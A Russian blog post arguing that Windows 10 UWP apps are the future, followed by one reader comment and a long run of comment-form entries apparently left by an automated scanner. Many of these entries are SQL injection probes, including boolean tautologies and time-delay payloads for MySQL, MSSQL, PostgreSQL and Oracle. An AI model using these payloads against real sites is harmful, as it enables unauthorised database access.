Еще один блог

Почему Windows 10 UWP это будущее. Или зачем он нужен.

Техника
27.02.2018
8668
564

Чтобы программы могли корректно взаимодействовать с операционной системой, для этих программ нужна SDK, по которой они будут работать. UWP решает эту задачу, а также решает множество других проблем Windows.

Что сейчас в Windows?

В Windows сейчас хаос. Приложения можно писать на нескольких фреймворках:

  • Win32Api
  • .Net
  • .Net (UWP)

По сути Win32Api не является фреймворком, а приложения написаны на "неуправляемом" коде, с максимально близким доступом к ОС. Win32Api это лишь набор функций + обертка для точки входа в приложение.

Приложения .Net Framework уже работают по другому принципу, запускаясь в своей "виртуальной машине". К сожалению, такие приложения платформозависимые.

UWP приложения пошли дальше. Кроме расширенного SDK, с доступом к магазину Windows, такие приложения теоретически могут работать на всех платформах Windows и на архитектурах, как x86, так и ARM. 

При этом нельзя просто взять и использовать все возможности UWP для старых .Net приложений. Их нужно перекомпилировать с использованием технологии Windows Bridge.

Что хотят в Microsoft?

По моему мнению, Microsoft проспала момент с продажей и рекламой приложений через интернет, но конкуренты в лице Apple и Google не дремлют. У macOS есть удобный магазин, такой же магазин есть и у Google Android. Представьте, если бы вам пришлось приложения для смартфона искать по разным сайтам. Удобно ли это? Вряд ли.

Microsoft хотят сделать тоже самое. Дать возможность людям скачивать приложения прямо из магазина Windows. 

Но почему бы не сделать это для всех старых приложений? Я не знаю. Я думаю, все эти приложения не поддаются какому-либо контролю, имеют сотни инсталляторов и пишут свои файлы во все места ОС. С UWP все эти проблемы решаются. Хотя они могли бы попытаться это сделать. Тогда была бы полная победа Windows.

Правда Microsoft делают это крайне медленно. Даже в Windows 10 большая часть приложений не являются UWP. А те приложения, которые являются UWP, выглядят немного чужеродно.  Все знают про две панели управления, два калькулятора и так далее.

Microsoft своими вялыми действиями не подталкивают серьезных разработчиков к созданию UWP приложений или портированию уже существующих. Результаты бездействия мы можем наблюдать в магазине:

В магазине Windows 10 в основном представлен один "шлак". Серьезные компании не стремятся переводить свои продукты на UWP.

Почему текущий подход к написанию приложений должен умереть?

1) Неконтролируемый доступ к железу.

Win32 и .Net приложения имеют неконтролируемый доступ к железу, в частности к Bluetooth, вебкамере, микрофону и другим приложениям. Вас могут записывать, а вы не узнаете про это. Да, эту проблему решают антивирусы. Но в нормальной системе их не должно быть. Операционная система сама должна уметь себя защищать.

UWP частично решает эту проблему, разграничивая права пользователей. Этот подход был полностью скопирован с Google Android и macOS/iPhone.

Настроить доступ к железу можно в Параметрах - Конфиденциальность. Правда это актуально только для UWP приложений:

Если система может ограничивать доступ приложения к определенным компонентам железа или операционной системы, то мы можем увидеть список разрешений:

Тут я побуду адвокатом Windows 10, которую часто обвиняют в шпионаже. Как мне кажется, Windows 10 наоборот, пытается защитить ваши данные, разграничивая права приложений. Хотя тут можно сказать, что они просто не хотят с этими данными делиться :)

И если вы установили приложение, а оно начнет рассылать СМСки, то уж сами виноваты. Магазин вас предупредил. Сейчас мы устанавливаем любое приложение Windows на свой страх и риск. Оно может собирать любые данные с компьютера, а мы даже не узнаем об этом. Но здесь Microsoft наступила на грабли, сделав пункт: разрешить полный доступ ко всем компонентам Windows. И разработчики ставят этот пункт, особо не разбираясь, что к чему. Например, этим страдает Telegram.

2) Приложения написаны с использованием разных технологий.

В нормальной системе приложения написаны с помощью единых инструментов. К примеру, для Android это Java + Android SDK. Нет, есть конечно ненормальные, которые пишут приложения на Qt / C# / HTML5 приложения для Android, но внутри они всё равно используют Android SDK. Без него никуда. 

Microsoft хочет тоже самое. Они хотят получать единую платформу, единые инструменты разработчика. Ведь для этого практически всё есть: отличный язык программирования C# и отличная платформа .Net Framework. 

Что даст переход на UWP?

Переход на UWP даст более тесную интеграцию с системой, можно будет использовать уведомления на полную мощность, обмениваться данными между приложениями. Писать приложения под все платформы, при этом ядро приложения будет единым. 

В .Net Framework есть удобный Properties.Settings, все настройки приложения будут храниться в одном месте, не засоряя реестр. При удалении приложения, всё файлы удалит операционная система, а не сторонний инсталлятор.

Гость
21.08.2019 18:09
Скучно будет без неуправляемого кода, хотя моему компьютеру он тоже сильно вредил. Вирусы всякие были. А так, android уже давно изолирует программы пользовательского режима друг от друга и от системы, но есть и нативный режим, он уже не для простого пользователя. Благо дарю за статью, узнал много нового и интересного!
wrBEIRqX
29.10.2023 00:55
1
wrBEIRqX
29.10.2023 01:28
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:07
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:08
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:09
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:10
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:11
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:12
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:13
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:14
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:15
1
wrBEIRqX
29.10.2023 05:16
1
wrBEIRqX
29.10.2023 05:16
1
wrBEIRqX
29.10.2023 05:17
1
wrBEIRqX
29.10.2023 05:17
1
wrBEIRqX
29.10.2023 05:18
1
wrBEIRqX
29.10.2023 05:18
1
wrBEIRqX
29.10.2023 05:20
1
wrBEIRqX
29.10.2023 05:20
1
wrBEIRqX
29.10.2023 05:20
1
wrBEIRqX
29.10.2023 05:20
1
-1 OR 2+296-296-1=0+0+0+1 --
29.10.2023 05:20
1
-1 OR 2+776-776-1=0+0+0+1
29.10.2023 05:20
1
-1' OR 2+688-688-1=0+0+0+1 --
29.10.2023 05:20
1
-1' OR 2+302-302-1=0+0+0+1 or 'f1ZefHb1'='
29.10.2023 05:20
1
-1" OR 2+480-480-1=0+0+0+1 --
29.10.2023 05:20
1
if(now()=sysdate(),sleep(15),0)
29.10.2023 05:20
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
29.10.2023 05:21
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
29.10.2023 05:21
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
29.10.2023 05:21
1
1 waitfor delay '0:0:15' --
29.10.2023 05:21
1
PuPJNAyL'; waitfor delay '0:0:15' --
29.10.2023 05:21
1
tqnaZzF5' OR 85=(SELECT 85 FROM PG_SLEEP(15))--
29.10.2023 05:21
1
JXaIXHzP') OR 622=(SELECT 622 FROM PG_SLEEP(15))--
29.10.2023 05:21
1
rEwO0mJf')) OR 245=(SELECT 245 FROM PG_SLEEP(15))--
29.10.2023 05:21
1
wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
29.10.2023 05:21
1
1'"
29.10.2023 05:21
1
@@R2Lfq
29.10.2023 05:21
1
wrBEIRqX
29.10.2023 05:22
1
wrBEIRqX
29.10.2023 05:22
1
wrBEIRqX
29.10.2023 05:23
1
wrBEIRqX
29.10.2023 05:23
1
wrBEIRqX
29.10.2023 05:23
-1 OR 2+886-886-1=0+0+0+1 --
wrBEIRqX
29.10.2023 05:23
-1 OR 2+139-139-1=0+0+0+1
wrBEIRqX
29.10.2023 05:23
-1 OR 3+139-139-1=0+0+0+1
wrBEIRqX
29.10.2023 05:23
-1' OR 2+208-208-1=0+0+0+1 --
wrBEIRqX
29.10.2023 05:23
-1' OR 2+679-679-1=0+0+0+1 or 'pk6QenSk'='
wrBEIRqX
29.10.2023 05:23
-1' OR 3+679-679-1=0+0+0+1 or 'pk6QenSk'='
wrBEIRqX
29.10.2023 05:23
-1" OR 2+614-614-1=0+0+0+1 --
wrBEIRqX
29.10.2023 05:23
-1" OR 3+614-614-1=0+0+0+1 --
wrBEIRqX
29.10.2023 05:23
-1" OR 3*2<(0+5+614-614) --
wrBEIRqX
29.10.2023 05:24
if(now()=sysdate(),sleep(15),0)
wrBEIRqX
29.10.2023 05:24
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
wrBEIRqX
29.10.2023 05:24
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
wrBEIRqX
29.10.2023 05:24
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
wrBEIRqX
29.10.2023 05:24
-1; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 05:24
-1); waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 05:24
1 waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 05:24
y2njFwT2'; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 05:25
-5 OR 966=(SELECT 966 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
-5) OR 840=(SELECT 840 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
-1)) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
GoGifjNv' OR 647=(SELECT 647 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
R1Qng9EW') OR 375=(SELECT 375 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
ZAuGV0G8')) OR 931=(SELECT 931 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 05:25
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX
29.10.2023 05:25
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wrBEIRqX
29.10.2023 05:25
1'"
wrBEIRqX
29.10.2023 05:25
@@gfDUT
wrBEIRqX
29.10.2023 07:10
1
wrBEIRqX
29.10.2023 01:28
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:43
1
wrBEIRqX
29.10.2023 01:44
1
wrBEIRqX
29.10.2023 01:44
1
wrBEIRqX
29.10.2023 01:44
1
wrBEIRqX
29.10.2023 01:44
1
wrBEIRqX
29.10.2023 01:45
1
wrBEIRqX
29.10.2023 01:45
1
wrBEIRqX
29.10.2023 01:45
1
wrBEIRqX
29.10.2023 01:46
1
wrBEIRqX
29.10.2023 01:46
1
wrBEIRqX
29.10.2023 01:48
1
wrBEIRqX
29.10.2023 01:48
1
wrBEIRqX
29.10.2023 01:48
1
wrBEIRqX
29.10.2023 01:48
1
05JJwigo
29.10.2023 01:48
1
-1 OR 2+706-706-1=0+0+0+1 --
29.10.2023 01:48
1
-1 OR 2+220-220-1=0+0+0+1
29.10.2023 01:48
1
-1' OR 2+379-379-1=0+0+0+1 --
29.10.2023 01:48
1
-1' OR 2+385-385-1=0+0+0+1 or '4lG2SO5M'='
29.10.2023 01:48
1
-1" OR 2+156-156-1=0+0+0+1 --
29.10.2023 01:48
1
if(now()=sysdate(),sleep(15),0)
29.10.2023 01:48
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
29.10.2023 01:48
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
29.10.2023 01:48
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
29.10.2023 01:49
1
1 waitfor delay '0:0:15' --
29.10.2023 01:49
1
0ouvmrTq'; waitfor delay '0:0:15' --
29.10.2023 01:49
1
98srMuTB' OR 91=(SELECT 91 FROM PG_SLEEP(15))--
29.10.2023 01:49
1
oJBTiRrv') OR 551=(SELECT 551 FROM PG_SLEEP(15))--
29.10.2023 01:49
1
cP506cpG')) OR 537=(SELECT 537 FROM PG_SLEEP(15))--
29.10.2023 01:49
1
wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
29.10.2023 01:49
1
1'"
29.10.2023 01:49
1
@@rbQHo
29.10.2023 01:49
1
wrBEIRqX
29.10.2023 01:49
1
wrBEIRqX
29.10.2023 01:49
1
wrBEIRqX
29.10.2023 01:51
1
wrBEIRqX
29.10.2023 01:51
1
wrBEIRqX
29.10.2023 01:51
-1 OR 2+158-158-1=0+0+0+1 --
wrBEIRqX
29.10.2023 01:51
-1 OR 2+490-490-1=0+0+0+1
wrBEIRqX
29.10.2023 01:51
-1 OR 3+490-490-1=0+0+0+1
wrBEIRqX
29.10.2023 01:51
-1' OR 2+522-522-1=0+0+0+1 --
wrBEIRqX
29.10.2023 01:51
-1' OR 3+522-522-1=0+0+0+1 --
wrBEIRqX
29.10.2023 01:51
-1' OR 2+588-588-1=0+0+0+1 or 'GIJTkv8Q'='
wrBEIRqX
29.10.2023 01:51
-1' OR 3+588-588-1=0+0+0+1 or 'GIJTkv8Q'='
wrBEIRqX
29.10.2023 01:51
-1" OR 2+459-459-1=0+0+0+1 --
wrBEIRqX
29.10.2023 01:51
if(now()=sysdate(),sleep(15),0)
wrBEIRqX
29.10.2023 01:51
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
wrBEIRqX
29.10.2023 01:51
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
wrBEIRqX
29.10.2023 01:51
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
wrBEIRqX
29.10.2023 01:51
-1; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 01:51
-1); waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 01:51
1 waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 01:52
oUqSeGG9'; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 01:52
-5 OR 288=(SELECT 288 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
-5) OR 54=(SELECT 54 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
-1)) OR 324=(SELECT 324 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
xgnAhHXb' OR 25=(SELECT 25 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
uX6KzZqZ') OR 388=(SELECT 388 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
p0llSo8C')) OR 387=(SELECT 387 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 01:52
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX
29.10.2023 01:52
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wrBEIRqX
29.10.2023 01:52
1'"
wrBEIRqX
29.10.2023 01:52
@@4sbfQ
wrBEIRqX
29.10.2023 07:10
1
wrBEIRqX
29.10.2023 00:55
1
wrBEIRqX
29.10.2023 01:28
1
wrBEIRqX
29.10.2023 01:28
1
wrBEIRqX
29.10.2023 01:28
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:36
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:37
1
wrBEIRqX
29.10.2023 03:38
1
wrBEIRqX
29.10.2023 03:38
1
wrBEIRqX
29.10.2023 03:39
1
wrBEIRqX
29.10.2023 03:40
1
wrBEIRqX
29.10.2023 03:40
1
-1 OR 2+148-148-1=0+0+0+1 --
29.10.2023 03:40
1
-1 OR 3+148-148-1=0+0+0+1 --
29.10.2023 03:40
1
-1 OR 3*2<(0+5+148-148) --
29.10.2023 03:40
1
-1 OR 3*2>(0+5+148-148) --
29.10.2023 03:40
1
-1 OR 2+630-630-1=0+0+0+1
29.10.2023 03:40
1
-1 OR 3+630-630-1=0+0+0+1
29.10.2023 03:40
1
-1 OR 3*2<(0+5+630-630)
29.10.2023 03:40
1
-1 OR 3*2>(0+5+630-630)
29.10.2023 03:40
1
-1 OR 2+1-1-1=1 AND 630=630
29.10.2023 03:40
1
-1 OR 2+1-1+1=1 AND 630=630
29.10.2023 03:40
1
-1' OR 2+968-968-1=0+0+0+1 --
29.10.2023 03:40
1
-1' OR 2+530-530-1=0+0+0+1 or 'NCAmBzrm'='
29.10.2023 03:40
1
-1' OR 3+530-530-1=0+0+0+1 or 'NCAmBzrm'='
29.10.2023 03:40
1
-1' OR 3*2<(0+5+530-530) or 'NCAmBzrm'='
29.10.2023 03:40
1
-1' OR 3*2>(0+5+530-530) or 'NCAmBzrm'='
29.10.2023 03:40
1
-1" OR 2+892-892-1=0+0+0+1 --
29.10.2023 03:40
1
-1" OR 3+892-892-1=0+0+0+1 --
29.10.2023 03:40
1
-1" OR 3*2<(0+5+892-892) --
29.10.2023 03:40
1
-1" OR 3*2>(0+5+892-892) --
29.10.2023 03:40
1
if(now()=sysdate(),sleep(15),0)
29.10.2023 03:40
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
29.10.2023 03:40
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
29.10.2023 03:40
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
29.10.2023 03:40
1
1 waitfor delay '0:0:15' --
29.10.2023 03:40
1
AaK6lJtH'; waitfor delay '0:0:15' --
29.10.2023 03:40
1
mXbm3uvP' OR 733=(SELECT 733 FROM PG_SLEEP(15))--
29.10.2023 03:40
1
zEUhTktf') OR 301=(SELECT 301 FROM PG_SLEEP(15))--
29.10.2023 03:40
1
UDXILBdt')) OR 685=(SELECT 685 FROM PG_SLEEP(15))--
29.10.2023 03:41
1
wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
29.10.2023 03:41
1
1'"
29.10.2023 03:41
1
@@ZenXq
29.10.2023 03:41
1
wrBEIRqX
29.10.2023 03:41
1
wrBEIRqX
29.10.2023 03:41
1
wrBEIRqX
29.10.2023 03:42
1
wrBEIRqX
29.10.2023 03:42
1
wrBEIRqX
29.10.2023 03:42
y6n3zG6l
wrBEIRqX
29.10.2023 03:42
-1 OR 2+290-290-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
-1 OR 3+290-290-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
-1 OR 2+671-671-1=0+0+0+1
wrBEIRqX
29.10.2023 03:42
-1 OR 3+671-671-1=0+0+0+1
wrBEIRqX
29.10.2023 03:42
-1' OR 2+590-590-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
-1' OR 3+590-590-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
-1' OR 3*2<(0+5+590-590) --
wrBEIRqX
29.10.2023 03:42
-1' OR 2+104-104-1=0+0+0+1 or 'XXOk0sbm'='
wrBEIRqX
29.10.2023 03:42
-1' OR 3+104-104-1=0+0+0+1 or 'XXOk0sbm'='
wrBEIRqX
29.10.2023 03:42
-1" OR 2+558-558-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
-1" OR 3+558-558-1=0+0+0+1 --
wrBEIRqX
29.10.2023 03:42
if(now()=sysdate(),sleep(15),0)
wrBEIRqX
29.10.2023 03:42
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
wrBEIRqX
29.10.2023 03:42
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
wrBEIRqX
29.10.2023 03:43
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
wrBEIRqX
29.10.2023 03:43
-1; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 03:43
-1); waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 03:43
1 waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 03:43
gkxONymQ'; waitfor delay '0:0:15' --
wrBEIRqX
29.10.2023 03:43
-5 OR 103=(SELECT 103 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:43
-5) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:43
-1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:43
JgB38DGp' OR 533=(SELECT 533 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:43
oKNQBb1R') OR 808=(SELECT 808 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:43
Bq2xps46')) OR 340=(SELECT 340 FROM PG_SLEEP(15))--
wrBEIRqX
29.10.2023 03:44
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
wrBEIRqX
29.10.2023 03:44
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
wrBEIRqX
29.10.2023 03:44
1'"
wrBEIRqX
29.10.2023 03:44
@@08J2y
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:10
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:11
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:12
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:13
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
29.10.2023 06:14
1
wrBEIRqX
